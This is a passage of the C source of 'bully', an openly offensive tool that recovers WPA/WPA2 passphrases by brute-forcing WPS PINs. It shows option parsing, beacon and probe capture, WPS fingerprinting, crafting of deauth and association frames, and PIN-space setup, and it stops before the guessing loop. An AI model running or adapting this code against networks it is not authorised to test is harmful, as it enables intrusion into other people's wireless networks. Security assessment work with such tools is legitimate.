/*
    bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP

    Copyright (C) 2020  kimocoder     <christian@aircrack-ng.org>
    Copyright (C) 2017  wiire         <wi7ire@gmail.com>
    Copyright (C) 2012  Brian Purcell <purcell.briand@gmail.com>

    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program.  If not, see <http://www.gnu.org/licenses/>.
*/

#include <stdint.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/time.h>
#include <sys/stat.h>
#include <pcap.h>
#include <linux/if_ether.h>
#include <linux/if.h>
#include <linux/wireless.h>
#include <linux/if_tun.h>
#include <netinet/in.h>
#include <endian.h>
#include <byteswap.h>
#include <unistd.h>
#include <signal.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <time.h>
#include <getopt.h>
#include <fcntl.h>
#include <ctype.h>
#include <limits.h>
#include <pwd.h>

#ifdef HAVE_LUA
#include <lua.h>
#include <lualib.h>
#include <lauxlib.h>
#include "pingen.h"
#include "luaclib.h"
#endif

#define	CONFIG_NO_STDOUT_DEBUG	1
#define	CONFIG_INTERNAL_LIBTOMMATH
#include "tls/bignum.c"

#define	eloop_register_timeout(v,w,x,y,z)	_ert = 0
#define	eloop_cancel_timeout(x,y,z)		_ect = 0
#define	wps_enrollee_process_msg(x,y,z)		_epm = 0
#define	wps_enrollee_get_msg(y,z)		_egm = 0

#include "utils/os_unix.c"
#include "utils/common.c"
#include "utils/base64.c"
#include "utils/uuid.c"
#include "utils/wpa_debug.c"
#include "utils/wpabuf.c"
#include "crypto/sha1-internal.c"
#include "crypto/sha256.c"
#include "crypto/sha256-internal.c"
#include "crypto/aes-cbc.c"
#include "crypto/aes-internal.c"
#include "crypto/aes-internal-enc.c"
#include "crypto/aes-internal-dec.c"
#include "crypto/crypto_internal-modexp.c"
#include "crypto/dh_groups.c"
#include "crypto/dh_group5.c"
#include "wps/wps.c"
#include "wps/wps_registrar.c"
#include "wps/wps_common.c"
#include "wps/wps_dev_attr.c"
#include "wps/wps_attr_parse.c"
#include "wps/wps_attr_process.c"
#include "wps/wps_attr_build.c"

#include "bswap.h"
#include "80211.h"
#include "frame.h"
#include "iface.h"
#include "bully.h"
#include "pdust.h"

#include "pixie.h"

sig_atomic_t ctrlc = 0;
sig_atomic_t signm = 0;
void sigint_h(int signal) { signm = signal; ctrlc = 1; };

#include "utils.c"
#include "timer.c"
#include "crc32.c"
#include "80211.c"
#include "frame.c"
#include "iface.c"

#include "version.h"

int main(int argc, char *argv[])
{
	int	k, result, nocheck = 0, fcs_count = 0, to_count = 0;

	char	essids[33] = {0}, *essid = essids;
	char	bssids[18] = {0};
	char	hwmacs[18] = {0};

	char	*error;

	mac_t	*mac;
	tag_t	*tag, *tags[20] = {0};
	vtag_t	*vtag, *vt;
	int	tlen, vlen, tn = 1;

	uint8	essidt[35] = {0};

	struct timeval timer;
	struct sigaction sigact = {0};
	struct stat wstat;
	wps_info_t wps_info = { 0 };

	FILE	*rf, *of;

	srandom(time(NULL));

	struct global *G;
	if (G = calloc(1, sizeof(struct global))) {

		G->phdr = calloc(1, sizeof(struct pcap_pkthdr));
		if (!G->phdr)
			goto mem_err;
		G->error = calloc(1,256);
		if (!G->error)
			goto mem_err;
		G->perr = calloc(1,PCAP_ERRBUF_SIZE);
		if (!G->perr)
			goto mem_err;
		G->index = calloc(1,MAX_CHAN+1);
		if (!G->index)
			goto mem_err;

		__vp = malloc(__vs);
		if (!__vp)
			goto mem_err;
		__vf = stdout;

		G->inp = f_init();
		if (!G->inp)
			goto mem_err;

		G->verbose = __vb;
		G->smacs = fmt_mac(hwmacs,G->hwmac);
		G->lwait = LOCK_WAIT_SECS;
		G->hop = BG_CHANS;
		G->has_fcs = 1;
		G->use_ack = 1;
		G->eapmode = 1;
		G->retries = MAX_RETRIES;
		G->random = 1;
		G->acktime = ACKTIME;
		G->stdtime = STDTIME;
		G->m13time = M13TIME;
		G->k1step = 1;
		G->k2delay = 5;
		G->k2step = 1;
		G->pinstart = G->pindex = -1;
		op_gen_pin = 0;
		//Pixie

		char *temp = getpwuid(getuid())->pw_dir;
		G->warpath = malloc(strlen(temp) + strlen(EXE_NAME) + 3);
		strcpy(G->warpath, temp);
		strcat(G->warpath, "/.");
		strcat(G->warpath, EXE_NAME);
		mkdir(G->warpath, S_IRWXU | S_IRWXG | S_IROTH | S_IXOTH);

	} else {
	mem_err:
		fprintf(stderr, "Memory allocation error\n");
		return 2;
	};

	while( 1 )
	{
		int option_index = 0;

		static struct option long_options[] = {
			{"acktime",	1,	0,	'a'},
			{"bssid",	1,	0,	'b'},
			{"channel",	1,	0,	'c'},
			{"pixiewps",	0,	0,	'd'},
			{"essid",	1,	0,	'e'},
			{"genpin",	0,	0,	'g'},
			{"index",	1,	0,	'i'},
			{"lockwait",	1,	0,	'l'},
			{"m13time",	1,	0,	'm'},
			{"outfile",	1,	0,	'o'},
			{"pin",		1,	0,	'p'},
			{"retries",	1,	0,	'r'},
			{"source",	1,	0,	's'},
#ifdef HAVE_LUA
			{"lua",		1,	0,	'u'},
#endif
			{"timeout",	1,	0,	't'},
			{"verbosity",	1,	0,	'v'},
			{"workdir",	1,	0,	'w'},
			{"pin1delay",	1,	0,	'1'},
			{"pin2delay",	1,	0,	'2'},
			{"5ghz",	0,	0,	'5'},
			{"noacks",	0,	0,	'A'},
			{"nocheck",	0,	0,	'C'},
			{"bruteforce",	0,	0,	'B'},
			{"detectlock",	0,	0,	'D'},
			{"eapfail",	0,	0,	'E'},
			{"force",	0,	0,	'F'},
			{"lockignore",	0,	0,	'L'},
			{"m57nack",	0,	0,	'M'},
			{"nofcs",	0,	0,	'N'},
			{"probe",	0,	0,	'P'},
			{"wpsinfo",	0,	0,	'Q'},
			{"radiotap",	0,	0,	'R'},
			{"sequential",	0,	0,	'S'},
			{"test",	0,	0,	'T'},
			{"version",	0,	0,	'V'},
			{"windows7",	0,	0,	'W'},
			{"suppress",	0,	0,	'Z'},
			{"help",	0,	0,	'h'},
			{0,		0,	0,	 0 }
		};

		int option = getopt_long(argc, argv, "a:b:c:de:g:i:l:m:o:p:r:s:t:"
#ifdef HAVE_LUA
				"u:"
#endif
				"v:w:1:2:5ABCDEFLMNPQRSTVWZh",
				long_options, &option_index);

		if( option < 0 ) break;

		switch( option ) {
			case 0 :
				break;
			case 'a' :
				if (get_int(optarg, &G->acktime) != 0) {
					snprintf(G->error, 256, "Bad packet timeout number -- %s\n", optarg);
					goto usage_err;
				};
				printf("Deprecated option --acktime (-a) ignored\n");
				break;
			case 'b' :
				if (get_mac(optarg, G->bssid) != 0) {
					snprintf(G->error, 256, "Bad target MAC address -- %s\n", optarg);
					goto usage_err;
				};
				G->ssids = fmt_mac(bssids,G->bssid);
				break;
			case 'c' :
				G->hop = optarg;
				break;
			case 'e' :
				G->essid = optarg;
				break;

			case 'g' :
				get_int(optarg, &op_gen_pin);
				break;

			case 'i' :
				if (get_int(optarg, &G->pindex) != 0 || 99999999 < G->pindex) {
					snprintf(G->error, 256, "Bad starting index number -- %s\n", optarg);
					goto usage_err;
				};
				break;
			case 'l' :
				if (get_int(optarg, &G->lwait) != 0) {
					snprintf(G->error, 256, "Bad lock wait number -- %s\n", optarg);
					goto usage_err;
				};
				break;
			case 'm' :
				if (get_int(optarg, &G->m13time) != 0) {
					snprintf(G->error, 256, "Bad M1/M3 timeout number -- %s\n", optarg);
					goto usage_err;
				};
				printf("Deprecated option --m13time (-m) ignored\n");
				break;
			case 'o' :
				if ((of = fopen(optarg, "w")) != NULL)
					__vf = of;
				else {
					snprintf(G->error, 256, "Can't open output file -- %s\n", optarg);
					goto usage_err;
				};
				break;
			case 'p' :
				if (get_int(optarg, &G->pinstart) != 0 || 99999999 < G->pinstart) {
					snprintf(G->error, 256, "Bad starting pin number -- %s\n", optarg);
					goto usage_err;
				};
				break;
			case 'r' :
				if (get_int(optarg, &G->retries) != 0) {
					snprintf(G->error, 256, "Bad max retries number -- %s\n", optarg);
					goto usage_err;
				};
				break;
			case 's' :
				if (get_mac(optarg, G->hwmac) != 0 || memcmp(G->hwmac, NULL_MAC, 6) == 0) {
					snprintf(G->error, 256, "Bad source MAC address -- %s\n", optarg);
					goto usage_err;
				};
				break;
			case 't' :
				if (get_int(optarg, &G->stdtime) != 0) {
					snprintf(G->error, 256, "Bad timeout number -- %s\n", optarg);
					goto usage_err;
				};
				printf("Deprecated option --timeout (-t) ignored\n");
				break;
#ifdef HAVE_LUA
			case 'u': {
				const unsigned int luap = strlen(optarg);
				if (stat(optarg, &wstat) || !S_ISREG(wstat.st_mode)
						|| luap < 5 || strcmp(&optarg[luap - 4], ".lua")) {
					snprintf(G->error, 256, "Bad lua scripting file -- %s\n", optarg);
					goto usage_err;
				};
				result = wstat.st_mode | (wstat.st_mode >> 4);
				if ((result & S_IRWXG) != S_IRWXG) {
					snprintf(G->error, 256, "Permission denied -- %s\n", optarg);
					goto usage_err;
				};
				G->luaf = optarg;
			}
			break;
#endif
			case 'v' :
				if (get_int(optarg, &G->verbose) != 0 || G->verbose < 1 || 4 < G->verbose) {
					snprintf(G->error, 256, "Bad verbosity level -- %s\n", optarg);
					goto usage_err;
				};
				__vb = G->verbose;
				get_int(optarg, &debug_level);
				break;
			case 'w' :
				if (stat(optarg, &wstat) || !S_ISDIR(wstat.st_mode)) {
					snprintf(G->error, 256, "Bad working directory -- %s\n", optarg);
					goto usage_err;
				};
				result = wstat.st_mode | (wstat.st_mode>>4);
				if ((result & S_IRWXG) != S_IRWXG) {
					snprintf(G->error, 256, "Permission denied -- %s\n", optarg);
					goto usage_err;
				};
				free(G->warpath);
				G->warpath = optarg;
				break;
			case '1' :
				if (get_int(optarg, &G->k1delay) != 0)
					if (sscanf(optarg, "%d,%d%s", &G->k1delay, &G->k1step, G->error) != 2) {
						snprintf(G->error, 256, "Bad recurring delay -- %s\n", optarg);
						goto usage_err;
					};
				break;
			case '2' :
				if (get_int(optarg, &G->k2delay) != 0)
					if (sscanf(optarg, "%d,%d%s", &G->k2delay, &G->k2step, G->error) != 2) {
						snprintf(G->error, 256, "Bad recurring delay -- %s\n", optarg);
						goto usage_err;
					};
				break;
			//Pixie
			case 'd' :
				run_pixiewps = 1;
				G->force = 1;
				break;
			case '5' :
				G->hop = AN_CHANS;
				break;
			case 'A' :
				G->use_ack = 0;
				break;
			case 'B' :
				G->broken = 1;
				break;
			case 'C' :
				nocheck = 1;
				break;
			case 'D' :
				G->detect = 1;
				break;
			case 'E' :
				G->eapfail = 1;
				break;
			case 'F' :
				G->force = 1;
				break;
			case 'L' :
				G->ignore = 1;
				break;
			case 'M' :
				G->m57nack = 1;
				times[PKT_M5].avg = times[PKT_M5].max = times[PKT_M5].def * 2;
				times[PKT_M7].avg = times[PKT_M7].max = times[PKT_M7].def * 2;
				break;
			case 'N' :
				G->has_fcs = 0;
				break;
			case 'P' :
				G->probe = 1;
				break;
			case 'Q' :
				G->wpsinfo = 1;
				break;
			case 'R' :
				G->has_rth = 1;
				break;
			case 'S' :
				G->random = 0;
				break;
			case 'T' :
				G->test = 1;
				break;
			case 'V' :
				printf("%s\n",VERSION);
				exit(0);
			case 'W' :
				G->win7 = 1;
				break;
			case 'Z' :
				G->suppress = 1;
				break;
			case 'h' :
				goto usage_err;
			case '?' :
			default  :
				fprintf(stderr, "\"%s --help\" for help.\n", argv[0]);
				return 1;
		};
	};

	if (argc - optind != 1) {
		if (argc - optind == 0)
			G->error = "No monitor mode interface specified\n";
		else
			G->error = "Too many arguments\n";
	usage_err:
		fprintf(stderr, usage, argv[0], G->error);
		return 1;
	};

	if (-1 < G->pindex) {
		if (9999999 < G->pindex && !G->broken) {
			snprintf(G->error, 256,
				"Index number must be less than 8 digits unless -bruteforce is specified -- %08d\n",
				G->pindex);
			goto usage_err;
		};
		if (-1 < G->pinstart) {
			G->error = "Options --index and --pin are mutually exclusive\n";
			goto usage_err;
		};
		if (G->random == 0) {
			G->error = "Option --index is meaningless when specifying --sequential\n";
			goto usage_err;
		};
	};
	if (9999999 < G->pinstart && !G->broken) {
		snprintf(G->error, 256,
			"Pin number must be less than 8 digits unless -bruteforce is specified -- %08d\n",
			G->pinstart);
		goto usage_err;
	};

	G->ifname = argv[optind];

	memset(p_iface,0,sizeof(p_iface));
	strcat(p_iface, G->ifname);

	if (G->essid == 0 && G->ssids == 0) {
		G->error = "Please specify either --bssid or --essid for the access point\n";
		goto usage_err;
	};

	if (G->essid == 0 && G->probe != 0) {
		G->error = "You must specify --essid for the AP when using --probe\n";
		goto usage_err;
	};

#ifdef HAVE_LUA
	if (G->luaf) {
		if ((G->luavm = basic_env()) == 0) {
			fprintf(stderr, "Unable to create Lua environment\n");
			return 9;
		}
		luaL_requiref(G->luavm, "wps", luaopen_wpslib, 1);
		luaL_requiref(G->luavm, "algorithm", luaopen_algolib, 1);
		if (luaL_dofile(G->luavm, G->luaf) != LUA_OK) {
			snprintf(G->error, 256, "Error loading lua script -- %s\n", lua_tostring(G->luavm, -1));
			lua_close(G->luavm);
			goto usage_err;
		};
		G->wpsinfo = 1; /* Force data gathering for algorithms */
	};
#endif

	if (memcmp(G->hwmac, NULL_MAC, 6) == 0)
		if (get_hwmac(G->ifname, G->hwmac)) {
			fprintf(stderr, "Unable to get hardware MAC address for '%s'\n", G->ifname);
			fprintf(stderr, "Please specify --source for the interface\n");
			return 8;
		};
	fmt_mac(hwmacs, G->hwmac);

	vprint("[!] Bully %s - WPS vulnerability assessment utility\n", VERSION);
	printf("[P] Modified for pixiewps by AAnarchYY(aanarchyy@gmail.com)\n");

	if ((error = init_chans(G)) != NULL) {
		snprintf(G->error, 256, "Bad channel number or list -- %s\n", error);
		goto usage_err;
	};
	G->chanx = set_chanx(G, G->chanx);
	G->start = (G->chanx ? G->chanx : G->chans[0]);

	if (-1 < G->pinstart && G->random) {
		vprint("[!] Starting pin specified, defaulting to sequential mode\n");
		G->random = 0;
	};

	if (-1 < G->pindex)
		G->pinstart = G->pindex;

	G->pfd = pcap_open_live(G->ifname, 65536, 1, 5, G->perr);
	pcap_close(G->pfd);
	G->pfd = pcap_open_live(G->ifname, 65536, 1, 5, G->perr);
	if (!G->pfd) {
		fprintf(stderr, "%s\n", G->perr);
		return 3;
	};

	vprint("[!] Using '%s' for the source MAC address\n", G->smacs);

	G->dlt = pcap_datalink(G->pfd);
	if (G->dlt == DLT_IEEE802_11_RADIO)
		G->has_rth = 1;
	vprint("[+] Datalink type set to '%d', radiotap headers %s\n",
				G->dlt, (G->has_rth ? "present" : "not present"));

	if (G->probe) {		// Build directed probe request for nonbeaconing AP's
		mac = (mac_t*)(&prober[RTH_SIZE]);
		memcpy(mac->adr2.addr, G->hwmac, 6);
		tags[0] = (tag_t*)(essidt);
		tags[0]->len = strlen(G->essid);
		memcpy(tags[0]->data, G->essid, tags[0]->len);
		int tmpl;  uint8 *tmp = build_ietags(tags, &tmpl);
		G->dprobe = build_packet(prober,sizeof(prober)-1,tmp,tmpl);
		G->reql = sizeof(prober)-1 + tmpl;
		free(tmp);
	};

	vprint("[+] Scanning for beacon from '%s' on channel '%s'\n",
			(G->ssids ? G->ssids : G->essid), G->schan);

	while (1) {
	ap_beacon:
		if (G->probe) {
			if (!G->test)
				result = send_packet(G, G->dprobe, G->reql, 1);
			result = next_packet(G, MAC_TYPE_MGMT, MAC_ST_PROBE_RESP,
							G->hwmac, G->bssid, PKT_PR, TRUE);
		} else
			result = next_packet(G, MAC_TYPE_MGMT, MAC_ST_BEACON,
							BCAST_MAC, G->bssid, PKT_BEA, TRUE);

		if (result == SUCCESS) {
			tag = (tag_t*)(G->inp[F_PAY].data + BFP_SIZE);
			tlen = G->inp[F_PAY].size - BFP_SIZE;
			if (G->essid)
				if (strlen(G->essid) != tag->len)
					goto ap_beacon;
				else
					if (memcmp(G->essid, tag->data, tag->len) == 0)
						break;
					else
						if (memcmp(tag->data, nulls, tag->len) == 0) {
							memcpy(tag->data, G->essid, tag->len);
							break;
						} else
							goto ap_beacon;
			memcpy(essids,tag->data,tag->len);
			G->essid = essids;
			break;
		};

		if (result == FCSFAIL) {
			if (3 <= ++fcs_count) {
				vprint("[!] Disabling FCS validation (assuming --nofcs)\n");
				G->has_fcs = fcs_count = 0;
			};
			continue;
		};

		if (result == TIMEOUT)
			if (!G->fixed) {
				G->chanx = next_chan(G);
				if (G->chanx == G->start) {
					if (++to_count < 3)
						continue;
				} else
					continue;
			} else
				if (++to_count < 3)
					continue;

		vprint("[X] Unable to get a beacon from the AP, possible causes are\n");
		vprint("[.]    an invalid --bssid or -essid was provided,\n");
		if (G->fixed)
			vprint("[.]    the access point isn't on channel '%s',\n", G->schan);
		if (!G->fixed)
			vprint("[.]    channel hopping isn't working (use --channel),\n");
		vprint("[.]    you aren't close enough to the access point.\n");
		return 4;
	};

	memcpy(G->bssid, ((mac_t*)G->inp[F_MAC].data)->adr3.addr, 6);

	memset(p_bssid,0,sizeof(p_bssid));
	strcat(p_bssid, G->ssids);

	G->ssids = fmt_mac(bssids, G->bssid);
	vprint("[+] Got beacon for '%s' (%s)\n", G->essid, G->ssids);
	G->nocheck = nocheck;

	mac = (mac_t*)(&authrq[RTH_SIZE]);
	memcpy(mac->adr1.addr, G->bssid, 6);
	memcpy(mac->adr2.addr, G->hwmac, 6);
	memcpy(mac->adr3.addr, G->bssid, 6);

	mac = (mac_t*)(&deauth[RTH_SIZE]);
	memcpy(mac->adr1.addr, G->bssid, 6);
	memcpy(mac->adr2.addr, G->hwmac, 6);
	memcpy(mac->adr3.addr, G->bssid, 6);

	mac = (mac_t*)(&eapols[RTH_SIZE]);
	memcpy(mac->adr1.addr, G->bssid, 6);
	memcpy(mac->adr2.addr, G->hwmac, 6);
	memcpy(mac->adr3.addr, G->bssid, 6);

	mac = (mac_t*)(&eapolf[RTH_SIZE]);
	memcpy(mac->adr1.addr, G->bssid, 6);
	memcpy(mac->adr2.addr, G->hwmac, 6);
	memcpy(mac->adr3.addr, G->bssid, 6);

	mac = (mac_t*)(&eap_id[RTH_SIZE]);
	memcpy(mac->adr1.addr, G->bssid, 6);
	memcpy(mac->adr2.addr, G->hwmac, 6);
	memcpy(mac->adr3.addr, G->bssid, 6);

	mac = (mac_t*)(&wfamsg[RTH_SIZE]);
	memcpy(mac->adr1.addr, G->bssid, 6);
	memcpy(mac->adr2.addr, G->hwmac, 6);
	memcpy(mac->adr3.addr, G->bssid, 6);

	mac = (mac_t*)(&ackpkt[RTH_SIZE]);
	memcpy(mac->adr1.addr, G->bssid, 6);

	mac = (mac_t*)(&asshat[RTH_SIZE]);
	memcpy(mac->adr1.addr, G->bssid, 6);
	memcpy(mac->adr2.addr, G->hwmac, 6);
	memcpy(mac->adr3.addr, G->bssid, 6);

	assn_t *ass = (assn_t*)(&asshat[RTH_SIZE+MAC_SIZE_NORM]);
	ass->capability = ((bfp_t*)(G->inp[F_PAY].data))->capability;

	tags[0] = tag;
	if ((tags[tn] = find_tag(tag, tlen, TAG_RATE, 0, NULL, 0)) != NULL)
		tn++;
	if ((tags[tn] = find_tag(tag, tlen, TAG_CHAN, 0, NULL, 0)) != NULL) {
		if (G->chans[G->chanx] != tags[tn]->data[0])
			if (!G->fixed)
				G->chanx = set_chan(G, tags[tn]->data[0]);
			else
				vprint("[!] The access point is on channel '%d', not '%s'\n",
							tags[tn]->data[0], G->schan);
		tn++;
	};
	if ((tags[tn] = find_tag(tag, tlen, TAG_XRAT, 0, NULL, 0)) != NULL)
		tn++;
	tags[tn++] = (tag_t*)MS_WPS_TAG;
	tags[tn] = NULL;

	/* Get vendor OUI from frame when present */
	if (get_oui_vendor(tag, tlen, wps_info.vendor)) {
		char vendor[OUI_STR_LEN];
		memcpy(vendor, get_vendor(wps_info.vendor), OUI_STR_LEN);
		vprint("[!] Vendor '%s' (%02x:%02x:%02x)\n", vendor,
				wps_info.vendor[0], wps_info.vendor[1], wps_info.vendor[2]);
		wps_info.vendor_p = TRUE;
	};

	if ((tag = find_tag(tag, tlen, TAG_VEND, 0, MS_WPS_ID, 4)) == NULL) {
		vprint("[X] The AP doesn't appear to be WPS enabled (no WPS IE)\n");
		return 5;
	};

	vtag = (vtag_t*)&tag->data[4];
	vlen = tag->len - 4;
	vt = find_vtag(vtag, vlen, TAG_WPS_STATE, 1);
	if (!vt || vt->data[0] != TAG_WPS_CONFIG) {
		vprint("[!] Beacon IE indicates WPS is not configured\n");
	};
	vt = find_vtag(vtag, vlen, TAG_WPS_APLOCK, 1);
	if (vt && vt->data[0] == TAG_WPS_LOCKED) {
		vprint("[!] Beacon IE indicates WPS is locked\n");
	};

	if (vt = find_vtag(vtag, vlen, TAG_WPS_VERSION, 1)) {
		wps_info.version = vt->data[0];
	};
	if (vt = find_vtag(vtag, vlen, TAG_WPS_V_EXT, 2)) {
		if (memcmp(vt->data, WFA_VENDOR, 3) == 0) {
			uint8 *v2 = (uint8*)(vt->data + 3);
			int wfa_len = be16toh(vt->len);
			while (wfa_len > 0) {
				if (*v2 == TAG_WPS_V2) {
					wps_info.version = v2[2];
					break;
				};
				wfa_len -= v2[1] + 2;
				v2 += v2[1] + 2;
			};
		};
	};
	vprint("[!] WPS version '%u.%u'\n", wps_info.version >> 4, wps_info.version & 0x0f);

	if (G->wpsinfo) { /* Build direct probe request to gather more WPS info */
		mac = (mac_t*)(&prober[RTH_SIZE]);
		memcpy(mac->adr2.addr, G->hwmac, 6);
		tags[0] = (tag_t*)(essidt);
		tags[0]->len = strlen(G->essid);
		memcpy(tags[0]->data, G->essid, tags[0]->len);
		int tmpl;  uint8 *tmp = build_ietags(tags, &tmpl);
		G->dprobe = build_packet(prober, sizeof(prober) - 1, tmp, tmpl);
		G->reql = sizeof(prober) - 1 + tmpl;
		free(tmp);

		vprint("[+] Sending probe request to '%s' (%s)\n", G->essid, G->ssids);

		while (1) {

ap_probe:
			result = send_packet(G, G->dprobe, G->reql, 1);
			result = next_packet(G, MAC_TYPE_MGMT, MAC_ST_PROBE_RESP,
							G->hwmac, G->bssid, PKT_PR, TRUE);

			if (result == SUCCESS) { /* G->has_fcs is already set to 0 if needed */
				tag = (tag_t*)(G->inp[F_PAY].data + BFP_SIZE);
				tlen = G->inp[F_PAY].size - BFP_SIZE;

				if (strlen(G->essid) != tag->len)
					goto ap_probe;
				else
					break;
			};

			if (result == TIMEOUT) {
				vprint("[!] Unable to get probe response from the AP\n");
				break;
			};
		};

		if (result == SUCCESS) {
			vprint("[+] Got probe response from '%s' (%s)\n", G->essid, G->ssids);

			if (tag = find_tag(tag, tlen, TAG_VEND, 0, MS_WPS_ID, 4)) {
				vtag = (vtag_t*)&tag->data[4];
				vlen = tag->len - 4;
				vtag_t *init_vtag = vtag;

				if (vtag = find_vtag(vtag, vlen, TAG_WPS_PASSWD, 2)) {
					wps_info.passw_id = be16toh(*((uint16_t*)(&vtag->data[0])));
					wps_info.passw_id_p = TRUE;
					if (wps_info.passw_id != DEV_PW_DEFAULT) {
						char c_pwid[20];
						vprint("[!] Device Password ID is not set to PIN but to '%s' (0x%04x)\n",
								build_dev_passw_id(wps_info.passw_id, c_pwid), wps_info.passw_id);
					};
				}
				else {
					vprint("[!] Device Password ID is not present in probe response\n");
				};
				if (vtag = find_vtag(init_vtag, vlen, TAG_WPS_CONF_M, 2)) {
					char c_buff[60];
					wps_info.config_methods = be16toh(*((uint16_t*)(&vtag->data[0])));
					if (wps_info.config_methods & WPS_CONF_LABEL == 0)
						vprint("[!] Method Label doesn't seem to be supported\n");
					vprint("[!] Configuration methods '%s'\n",
							build_conf_methods_string(wps_info.config_methods, c_buff));
				};
				if (vtag = find_vtag(init_vtag, vlen, TAG_WPS_D_TYPE, 8)) {
					char c_buff[60];
					wps_info.category  = be16toh(*((uint16_t*)(&vtag->data[0])));
					wps_info.subcategory = be16toh(*((uint16_t*)(&vtag->data[6])));
					vprint("[!] Device type '%s'\n",
							build_dev_type_string(wps_info.category, wps_info.subcategory, c_buff));
				};
				if (vtag = find_vtag(init_vtag, vlen, TAG_WPS_UUID_E, 16)) {
					memcpy(wps_info.uuid, vtag->data, 16);
				};
				if (vtag = find_vtag(init_vtag, vlen, TAG_WPS_D_NAME, 0)) {
					int tag_size = be16toh(vtag->len);
					memcpy(wps_info.device_name, vtag->data, tag_size);
					wps_info.device_name[tag_size] = '\0';
					vprint("[!] Device name '%s'\n", wps_info.device_name);
				};
				if (vtag = find_vtag(init_vtag, vlen, TAG_WPS_MANU, 0)) {
					int tag_size = be16toh(vtag->len);
					memcpy(wps_info.manufacturer, vtag->data, tag_size);
					wps_info.manufacturer[tag_size] = '\0';
					vprint("[!] Manufacturer '%s'\n", wps_info.manufacturer);
				};
				if (vtag = find_vtag(init_vtag, vlen, TAG_WPS_M_NAME, 0)) {
					int tag_size = be16toh(vtag->len);
					memcpy(wps_info.model_name, vtag->data, tag_size);
					wps_info.model_name[tag_size] = '\0';
					vprint("[!] Model name '%s'\n", wps_info.model_name);
				};
				if (vtag = find_vtag(init_vtag, vlen, TAG_WPS_M_NUM, 0)) {
					int tag_size = be16toh(vtag->len);
					memcpy(wps_info.model_number, vtag->data, tag_size);
					wps_info.model_number[tag_size] = '\0';
					vprint("[!] Model number '%s'\n", wps_info.model_number);
				};
				if (vtag = find_vtag(init_vtag, vlen, TAG_WPS_SERIAL, 0)) {
					int tag_size = be16toh(vtag->len);
					memcpy(wps_info.serial_number, vtag->data, tag_size);
					wps_info.serial_number[tag_size] = '\0';
					vprint("[!] Serial number '%s'\n", wps_info.serial_number);
				};
			};
		};
	};

	int msgl;  uint8 *msg = build_ietags(tags, &msgl);
	G->asshat = build_packet(asshat,sizeof(asshat)-1,msg,msgl);
	G->assl = sizeof(asshat)-1 + msgl;
	free(msg);

	parse_packet(G->inp, &wfamsg[0], sizeof(wfamsg)-1, TRUE, TRUE);
	G->d1xlnx = (uint8*)&((d1x_t*)G->inp[F_D1X].data)->len - &wfamsg[0];
	G->eapidx = (uint8*)&((eap_t*)G->inp[F_EAP].data)->id - &wfamsg[0];
	G->eaplnx = (uint8*)&((eap_t*)G->inp[F_EAP].data)->len - &wfamsg[0];
	G->wfaopx = (uint8*)&((wfa_t*)G->inp[F_WFA].data)->op - &wfamsg[0];

	wpsc_t *wconf = calloc(sizeof(wpsc_t),1);
	if (!wconf)
		goto mem_err;
	wconf->registrar = TRUE;

	wpsr_t *wregc = calloc(sizeof(wpsr_t),1);
	if (!wregc)
		goto mem_err;
	wregc->disable_auto_conf = TRUE;

	wconf->wps = calloc(sizeof(wctx_t),1);
	if (!wconf->wps)
		goto mem_err;

	wconf->wps->registrar = wps_registrar_init(wconf->wps, wregc);
	if (!wconf->wps->registrar) {
		vprint("[X] Failed to initialize the WPS registrar, exiting\n");
		return 6;
	};

	for (k=0; k<16; k++)
		wconf->wps->uuid[k] = random() % 255;
	G->wdata = wps_init(wconf);
	if (!G->wdata) {
		vprint("[X] Failed to initialize the WPS structure, exiting\n");
		return 6;
	};

	if (G->win7) {
		G->wdata->wps->dev.device_name = W7_DEVICE_NAME;
		G->wdata->wps->dev.manufacturer = W7_MANUFACTURER;
		G->wdata->wps->dev.model_name = W7_MODEL_NAME;
		G->wdata->wps->dev.model_number = W7_MODEL_NUMBER;
		G->wdata->wps->dev.rf_bands = W7_RF_BANDS;
		memcpy(G->wdata->wps->dev.pri_dev_type, W7_DEVICE_TYPE, 8);
		memcpy(&G->wdata->wps->dev.os_version, W7_OS_VERSION, 4);
	};

#ifdef HAVE_LUA
	if (G->luavm) {
		lua_newtable(G->luavm);
		for (int i = 0; i < 6; i++) {
			lua_pushinteger(G->luavm, G->bssid[i]);
			lua_rawseti(G->luavm, -2, i + 1);
		}
		lua_setglobal(G->luavm, "tbl_bssid");
		lua_pushstring(G->luavm, hex(G->bssid, 6));
		lua_setglobal(G->luavm, "str_bssid");
		lua_pushstring(G->luavm, G->essid);
		lua_setglobal(G->luavm, "str_essid");
		lua_pushnumber(G->luavm, (wps_info.version >> 4) + (double)(wps_info.version & 0x0f) / 10);
		lua_setglobal(G->luavm, "wps_version");
		if (wps_info.serial_number) {
			lua_pushstring(G->luavm, wps_info.serial_number);
			lua_setglobal(G->luavm, "str_wps_serial");
		}
	}
#endif

	{ /* Two files: *.pins and *.run */
		size_t wsize = strlen(G->warpath);
		G->pinf = malloc(wsize + 19);
		strcpy(G->pinf, G->warpath);
		G->pinf[wsize] = '/';
		strcpy(G->pinf + wsize + 1, hex(G->bssid, 6));
		strcpy(G->pinf + wsize + 1 + 12, ".pins");

		if (G->random)
			init_pins(G);

		G->runf = malloc(wsize + 18);
		strcpy(G->runf, G->warpath);
		G->runf[wsize] = '/';
		strcpy(G->runf + wsize + 1, hex(G->bssid, 6));
		strcpy(G->runf + wsize + 1 + 12, ".run");
	}

	char	pinstr[9];
	int	pincount, savecount;
	int	pinmax = (G->broken ? 100000000 : 10000000);
	int	pin2max = (G->broken ? 10000 : 1000);
	int	pin2div = (G->broken ? 1 : 10);
	int	pin, pindex, phold = get_start(G);

	sigact.sa_handler = sigint_h;
	sigaction(SIGHUP,  &sigact, 0);
	sigaction(SIGINT,  &sigact, 0);
	sigaction(SIGPIPE, &sigact, 0);
	sigaction(SIGALRM, &sigact, 0);
	sigaction(SIGTERM, &sigact, 0);
	sigaction(SIGCHLD, &sigact, 0);

restart:
	G->restart = 0;
	pincount = savecount = 0;
